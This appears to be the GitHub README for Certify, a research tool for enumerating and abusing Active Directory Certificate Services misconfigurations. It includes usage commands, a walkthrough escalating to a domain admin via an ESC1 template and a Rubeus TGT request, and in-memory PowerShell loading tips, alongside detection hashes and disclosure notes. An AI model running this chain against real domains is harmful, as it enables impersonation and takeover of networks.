




 main ▾


 


Go to file


 Code ▾





 Certify


 .gitignore


 CHANGELOG.md


 Certify.sln


 Certify.yar

 LICENSE

 README.md

 **README**

 License




Certify


Certify is a C# tool to enumerate and abuse misconfigurations in Active Directory Certificate Services (AD CS).


[@harmj0y](#) and [@tifkin_](#) are the primary authors of Certify and the the associated AD CS research ([blog](#) and [whitepaper](#)).


About


Active Directory certificate abuse.


 Readme


 View license

 Activity

 Custom properties

 1.5k stars

 29 watching

 206 forks

Report repository

Releases







No releases published





Packages

No packages published

Contributors

10





Languages

Page 1 of 13

● C# 99.8% ● YARA 0.2%

Table of Contents

- [Certify](#)
 - [Usage](#)
 - [Using Requested Certificates](#)
 - [Example Walkthrough](#)
 - [Defensive Considerations](#)
 - [Compile Instructions](#)
 - [Sidenote: Running Certify Through PowerShell](#)
 - [Sidenote Sidenote: Running Certify Over PSRemoting](#)
 - [Reflections](#)
 - [Acknowledgments](#)

Usage

C:\Tools>Certify.exe



```

  _ _ _ _ _
 / _ _ _ \   _ _ _ _ _   _ _ _ _ _   _ _ _ _ _
| | _ _ _ | _ _ _ _ _ | | _ _ _ | | _ _ _ |
| | _ _ _ / _ _ _ _ _ | | _ _ _ | | _ _ _ |
| | _ _ _ _ _ / _ _ _ _ _ | | _ _ _ | | _ _ _ |
 \ _ _ _ \ _ _ _ _ _ \ _ _ _ _ _ \ _ _ _ _ _
                                     _ _ _ _ _
                                     | _ _ _ _ _

v1.0.0
```

Find information about all registered CAs:

Certify.exe cas [/ca:SERVER\ca-name | /doma:

Find all enabled certificate templates:

Certify.exe find [/ca:SERVER\ca-name | /dom:

Find vulnerable/abusable certificate template:

```
Certify.exe find /vulnerable [/ca:SERVER\ca-
```

Find vulnerable/abusable certificate template:

```
Certify.exe find /vulnerable /currentuser [/ca:SERVER\ca-
```

Find enabled certificate templates where ENROLLMENT is enabled

```
Certify.exe find /enrolleeSuppliesSubject [/ca:SERVER\ca-
```

Find enabled certificate templates capable of issuing certificates

```
Certify.exe find /clientauth [/ca:SERVER\ca-
```

Find all enabled certificate templates, display their details

```
Certify.exe find /showAllPermissions /quiet
```

Find all enabled certificate templates and output their details to a file

```
Certify.exe find /json /outfile:C:\Temp\out
```

Enumerate access control information for PKI objects

```
Certify.exe pkiobjects [/domain:domain.local] [/ca:SERVER\ca-
```

Request a new certificate using the current user's identity

```
Certify.exe request /ca:SERVER\ca-name [/subject:CN=...
```

Request a new certificate using the current machine's identity

```
Certify.exe request /ca:SERVER\ca-name /machine
```

Request a new certificate using the current user's identity with a template

```
Certify.exe request /ca:SERVER\ca-name /template:1
```

Request a new certificate using the current user's identity with a template

```
Certify.exe request /ca:SERVER\ca-name /template:1
```

Request a new certificate using the current user's identity with a template

```
Certify.exe request /ca:SERVER\ca-name /tem
```

Request a new certificate on behalf of another user

```
Certify.exe request /ca:SERVER\ca-name /teml
```

Download an already requested certificate:

```
Certify.exe download /ca:SERVER\ca-name /id
```

Certify completed in 00:00:00.0200190

Using Requested Certificates

Certificates can be transformed to .pfx's usable with Certify with:

```
openssl pkcs12 -in cert.pem -keyex -CSP "Microso
```

Certificates can be used with Rubeus to request a TGT with:

```
Rubeus.exe asktgt /user:X /certificate:C:\Temp\
```

Example Walkthrough

First, use Certify.exe to see if there are any vulnerable templates:

```
C:\Temp>Certify.exe find /vulnerable
```

```
 / ____|      |   | |    (_)/ __|  
| |          _--_ --__|_| |_| |_--_  
| |        / - \ '-__|_| |_| |_| |_|  
| |____| ___/_||_| |_| |_| |_| |_|  
\___/\___|\_|   \|_| |_| |\_,  
                                     _/  
                                    |./
```

v1.0.0

```
[*] Action: Find certificate templates
[*] Using the search base 'CN=Configuration,DC=
[*] Restricting to CA name : dc.theshire.local\
```

```
[*] Listing info about the Enterprise CA 'thesh:
```

```
Enterprise CA Name      : theshire-DC
DNS Hostname            : dc.theshire
FullName                : dc.theshire
Flags                   : SUPPORTS_NT_
Cert SubjectName        : CN=theshire
Cert Thumbprint         : 187D81530E1
Cert Serial             : 14BFC25F2B6
Cert Start Date         : 1/4/2021 10
Cert End Date           : 1/4/2026 10
Cert Chain               : CN=theshire
UserSpecifiedSAN        : Disabled
CA Permissions          :
    Owner: BUILTIN\Administrators      S-1-
```

Access Rights

```
Allow  ManageCA, ManageCertificates
Allow  ManageCA, ManageCertificates
Allow  ManageCA, Read, Enroll
    [!] Low-privileged principal has Manage
Allow  Enroll
Allow  ManageCA, ManageCertificates
Allow  ManageCertificates, Enroll
Allow  ManageCA, Enroll
Enrollment Agent Restrictions :
    Everyone                S-1-1-0
        Template : <All>
        Targets  :
            Everyone        S-1-1-0

    Everyone                S-1-1-0
        Template : User
        Targets  :
            Everyone        S-1-1-0
```

Vulnerable Certificates Templates :

```
CA Name                  : dc.theshi
```

```
Template Name           : User2
Validity Period         : 2 years
Renewal Period          : 6 weeks
msPKI-Certificates-Name-Flag : SUBJECT_A
mspki-enrollment-flag   : INCLUDE_S'
Authorized Signatures Required : 0
pkiextendedkeyusage     : Client Au
Permissions
  Enrollment Permissions
    Enrollment Rights    : THESHIRE\I
                        THESHIRE\I
    All Extended Rights  : THESHIRE\I
  Object Control Permissions
    Owner                : THESHIRE\I
    Full Control Principals : THESHIRE\I
    WriteOwner Principals : NT AUTHORITY\
                        THESHIRE\I
                        THESHIRE\I
                        THESHIRE\I
    WriteDacl Principals : NT AUTHORITY\
                        THESHIRE\I
                        THESHIRE\I
                        THESHIRE\I
    WriteProperty Principals : NT AUTHORITY\
                        THESHIRE\I
                        THESHIRE\I
                        THESHIRE\I

CA Name                 : dc.theshire
Template Name           : VulnTemplate
Validity Period         : 3 years
Renewal Period          : 6 weeks
msPKI-Certificates-Name-Flag : ENROLLEE_S
mspki-enrollment-flag   : INCLUDE_S'
Authorized Signatures Required : 0
pkiextendedkeyusage     : Client Au
Permissions
  Enrollment Permissions
    Enrollment Rights    : THESHIRE\I
                        THESHIRE\I
                        THESHIRE\I
  Object Control Permissions
    Owner                : THESHIRE\I
    WriteOwner Principals : THESHIRE\I
                        THESHIRE\I
                        THESHIRE\I
```

```
WriteDacl Principals      : THESHIRE\I
                           THESHIRE\I
                           THESHIRE\I
WriteProperty Principals  : THESHIRE\I
                           THESHIRE\I
                           THESHIRE\I
```

Certify completed in 00:00:00.6548319

Given the above results, we have the three following issues:

1. THESHIRE\Domain Users have **ManageCA** permissions over the dc.theshire.local\theshire-DC-CA CA (ESC7)
 - o This means that the EDITF_ATTRIBUTESUBJECTALTNAME2 flag can be flipped on the CA by anyone.
2. THESHIRE\Domain Users have full control over the **User2** template (ESC4)
 - o This means that anyone can flip the CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT flag on this template and remove the PEND_ALL_REQUESTS issuance requirement.
3. THESHIRE\Domain Users can enroll in the **VulnTemplate** template, which can be used for client authentication and has ENROLLEE_SUPPLIES_SUBJECT set (ESC1)
 - o This allows anyone to enroll in this template and specify an arbitrary Subject Alternative Name (i.e. as a DA).

We'll show the abuse of scenario 3.

Next, let's request a new certificate for this template/CA, specifying a DA localadmin as the alternate principal:

```
C:\Temp>Certify.exe request /ca:dc.theshire.local
```

```
/____|      | | ( )/ _|
```

Copy the -----BEGIN RSA PRIVATE KEY----- ... -----END CERTIFICATE----- section to a file on Linux/macOS, and run the openssl command to convert it to a .pfx. When prompted, don't enter a password:


```
(base) laptop:~ harmj0y$ openssl pkcs12 -in cer
Enter Export Password:
Verifying - Enter Export Password:
(base) laptop:~ harmj0y$
```

Finally, move the cert.pfx to your target machine filesystem (manually or through Cobalt Strike), and request a TGT for the `altname` user using Rubeus:

```
C:\Temp>Rubeus.exe asktgt /user:localadmin /cer
```

```

  _____
 (_____) \      | |
  _____) )_  | | |_____|_____|_____|_____|
 |  _  /| | | |  _ \|_____| | | | /____)
 | | \ \ | | | | ) ) ____| | | | ____|
 |_|  |_|____/|____/|____)____/ (____/

```

v1.6.1

```
[*] Action: Ask TGT
```

```
[*] Using PKINIT with etype rc4_hmac and subject
```

```
[*] Building AS-REQ (w/ PKINIT preauth) for: 'tl
```

```
[+] TGT request successful!
```

```
[*] base64(ticket.kirbi):
```

```
doIFujCCBbagAwIBBaEDAgEWooIExzCC...(snip)
```

```

ServiceName      : krbtgt/theshire.local
ServiceRealm     : THESHIRE.LOCAL
UserName         : localadmin
UserRealm        : THESHIRE.LOCAL
StartTime        : 2/22/2021 2:06:51 PM
EndTime          : 2/22/2021 3:06:51 PM
RenewTill        : 3/1/2021 2:06:51 PM
Flags            : name_canonicalize, p
KeyType          : rc4_hmac
Base64(key)      : Etb5WPFWeMbsZr2+FQQQI

```

Defensive Considerations

Certify was released at Black Hat 2021 with our ["Certified Pre-Owned: Abusing Active Directory Certificate Services"](#) talk.

The [TypeRefHash](#) of the current Certify codebase is **f9dbbfe2527e1164319350c0b0900c58be57a46c53ffef31699ed116a765995a**.

The TypeLib GUID of Certify is **64524ca5-e4d0-41b3-acc3-3bdbefd40c97**. This is reflected in the Yara rules currently in this repo.

See our [whitepaper](#) for prevention and detection guidance.

Compile Instructions

We are not planning on releasing binaries for Certify, so you will have to compile yourself :)

Certify has been built against .NET 4.0 and is compatible with [Visual Studio 2019 Community Edition](#). Simply open up the project .sln, choose "Release", and build.

Sidenote: Running Certify Through PowerShell

If you want to run Certify in-memory through a PowerShell wrapper, first compile the Certify and base64-encode the resulting assembly:

```
[Convert]::ToBase64String([IO.File]::ReadAllBytes "Certify.exe")
```

Certify can then be loaded in a PowerShell script with the following (where "aa..." is replaced with the base64-encoded Certify assembly string):

```
$CertifyAssembly = [System.Reflection.Assembly]::LoadFrom("aa...")
```

The Main() method and any arguments can then be invoked as follows:

```
[Certify.Program]::Main("find /vulnerable".Split(' '))
```

Sidenote Sidenote: Running Certify Over PSRemoting

Due to the way PSRemoting handles output, we need to redirect stdout to a string and return that instead. Luckily, Certify has a function to help with that.

If you follow the instructions in [Sidenote: Running Certify Through PowerShell](#) to create a Certify.ps1, append something like the following to the script:

```
[Certify.Program]::MainString("find /vulnerable'")
```

You should then be able to run Certify over PSRemoting with something like the following:

```
$s = New-PSSession dc.theshire.local
Invoke-Command -Session $s -FilePath C:\Temp\Cer
```

Alternatively, Certify's `/outfile:C:\FILE.txt` argument will redirect all output streams to the specified file.

Reflections

On the subject of public disclosure, we self-embargoed the release of our offensive tooling (Certify as well as [ForgeCert](#)) for ~45 days after we published our [whitepaper](#) in order to give organizations a chance to get a grip on the issues surrounding Active Directory Certificate Services. We also preemptively released some Yara rules/IOCs for both projects and released the defensive-focused [PSPKIAudit](#) PowerShell project along with the whitepaper. However, we have found that organizations and vendors have historically often not fixed issues or built detections for "theoretical" attacks until someone proves something is possible with a proof of concept.

Acknowledgments

Certify used a few resources found online as reference and inspiration:

- [This post](#) on requesting certificates from C#.
- [This gist](#) for SAN specification.
- [This StackOverflow post](#) on exporting private keys.
- [This PKISolutions post](#) on converting pkiExpirationPeriod.
- [This section of MS-CSRA](#) describing enrollment agent security DACLS.

The AD CS work was built on work from a number of others. The [whitepaper](#) has a complete treatment, but to summarize:

- [Benjamin Delpy](#) for his [extensive work](#) on smart cards/certificates with Mimikatz and Kekeo.
- PKI Solutions for their [excellent posts on PKI in Active Directory](#), as well as their [PSPKI PowerShell module](#), which our auditing toolkit is based on.
- The "[Windows Server 2008 – PKI and Certificate Security](#)" book by Brian Komar.
- The following open technical specifications provided by Microsoft:
 - [MS-CERSOD]: Certificate Services Protocols Overview
 - [MS-CRTD]: Certificate Templates Structure
 - [MS-CSRA]: Certificate Services Remote Administration Protocol
 - [MS-ICPR]: ICertPassage Remote Protocol
 - [MS-WCCE]: Windows Client Certificate Enrollment Protocol
- [Christoph Falt's GitHub repo](#) which covers some details on attacking certificate templates, including virtual smart cards as well as some ideas on ACL based abuses.

- CQURE's "[The tale of Enhanced Key \(mis\)Usage](#)" post which covers some Subject Alternative Name abuses.
- Keyfactor's 2016 post "[Hidden Dangers: Certificate Subject Alternative Names \(SANs\)](#)"
- [@Elkement](#)'s posts "[Sizzle @ hackthebox – Unintended: Getting a Logon Smartcard for the Domain Admin!](#)" and "[Impersonating a Windows Enterprise Admin with a Certificate: Kerberos PKINIT from Linux](#)" detail certificate template misconfigurations.
- Carl Sörqvist wrote up a detailed, and plausible, scenario for how some of these misconfigurations happen titled "[Supply in the Request Shenanigans](#)".
- [Ceri Coburn](#) released an excellent post in 2020 on "[Attacking Smart Card Based Active Directory Networks](#)"

[Terms](#) [Privacy](#) [Security](#) [Status](#) [Docs](#) [Contact](#) [Manage cookies](#) [Do not share my personal information](#)



© 2024 GitHub, Inc.